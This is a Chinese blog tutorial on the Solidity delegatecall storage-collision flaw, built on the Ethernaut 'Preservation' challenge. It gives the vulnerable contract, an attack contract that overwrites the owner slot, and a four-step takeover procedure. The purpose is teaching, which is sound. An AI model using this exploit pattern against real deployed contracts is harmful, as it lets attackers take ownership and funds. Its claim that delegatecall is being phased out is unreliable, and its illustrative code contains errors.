区块链黑客第五讲:委托调用攻击

发布于:2024-04-21 ⋅ 阅读:(33) ⋅ 点赞:(0)

本篇文章是call注入攻击的兄弟篇,为啥这么说呢?

因为委托调用攻击核心函数便是 delegatecall()

难度:偏难,但理解了就非常简单

📕1. 开文挑战

  • 这是Ethernaut中的第十六个例子(已修改)
  • 现在把需求交给你:将合约Preservation的所有权拿到手。
  • 你首先会想到什么?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

在破解之前,我们首先要了解以下函数

📕2.了解delegatecall ()

delegatecall()call()是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。

🌳官方文档是这么描述这个函数的:

"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。

这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。"

官方文档写的太抽象,我来举个例子方便大家理解:

contract Example{

    address public calledContract;
    
    constructor(address _calledContract){
       this.calledContract = _calledContract;
    }
    
    function useDelegatecall(address _change) public {
        calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
    }
}


contract CalledContract{
   address public initAddress;
   
   function changeAddress(address _changeAddress){
   		this.initAddress = _changeAddress;
   }
}

🚀解析例子

  • contract Example:主合约

  • contract CalledContract:被调用合约

  • address public calledContract:被调用合约地址

可以看到在函数useDelegatecall中,我们使用了delegatecall()调用了被调用合约的changeAddress()函数,并且传入了参数_change

调用成功后我们查看结果:

被调用合约中的initAddress并未修改成传入的地址参数_change,反而主合约的calledContract变成了_change.

🎹离谱吗

而这正是delegatecall()的安全漏洞:

被调用合约的上下文仍然是主合约的上下文,包括msg.valuemsg.sender 以及 storage。因此当我们以为修改的是合约CalledContract第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example的第一插槽,即address calledContract

这就是delegatecall()函数真正的妙处,同样也是极大的安全漏洞!


📕研究合约

那么以上的使用方法,如何去破解开头给出的合约呢?

我想聪明的你早就有了一些想法。

💎回到合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
  • Preservation:主合约
  • timeZone1Library,timeZone2Library:两个外部调用合约地址,即本例中的LibraryContract
  • setTimeSignature:函数签名,可以通过call或delegatecall等底层方法调用函数。

💎偷天换日

当调用主合约函数setFirstTime时,将会调用外部合约LibraryContractsetTime方法,在该方法中修改了此合约的第一插槽,根据delegatecall()的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library.

因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library,再一次根据·delegatecall()的特性替换掉主合约的owner.

💎伪造攻击合约

那么被我们替换掉的攻击合约应该是什么样的呢?

为了完美利用delegatecall()的特性,它应该满足一下所有的需求:

  • 存储结构应该与主合约一致
  • 应该拥有与setTime()同名的函数
  • 应该在setiTime()函数中修改第三插槽的内存,也就是主合约中owner所在的存储位置。

因此,这个合约应该长这样:

// SPDX-License-Identifier: MIT

contract AttackPreservation {

  //必须拥有相同的存储结构!
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  
  
  //同名函数
  function setTime(uint _change) public {
     owner = address(_change);
  }

}

至此,用于替换的攻击合约就已经编写好了。

当调用该攻击合约的setTime()函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。

实际上修改的是主合约的owner变量,因此将调用传入的参数改成自己的钱包地址即可!

💎攻击流程

  1. 伪造用于替换timeZone1Library的攻击合约;
  2. 首次调用setFirstTime()函数,将传入参数设为用于替换的攻击合约的地址;
  3. 第二次调用setFirstTime()函数,将传入参数设为自己的钱包地址;
  4. 完成攻击,将合约拥有者修改成了自己

📕总结

delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。

并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。

不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!

恭喜你!通过了这一章的学习。

至此你已经初步了解了基于函数特性的技术性安全漏洞。

在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!

🌳参考文献

blog.sigmaprime-delegatecall

SWC-112

How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)

官方文档-delegatecall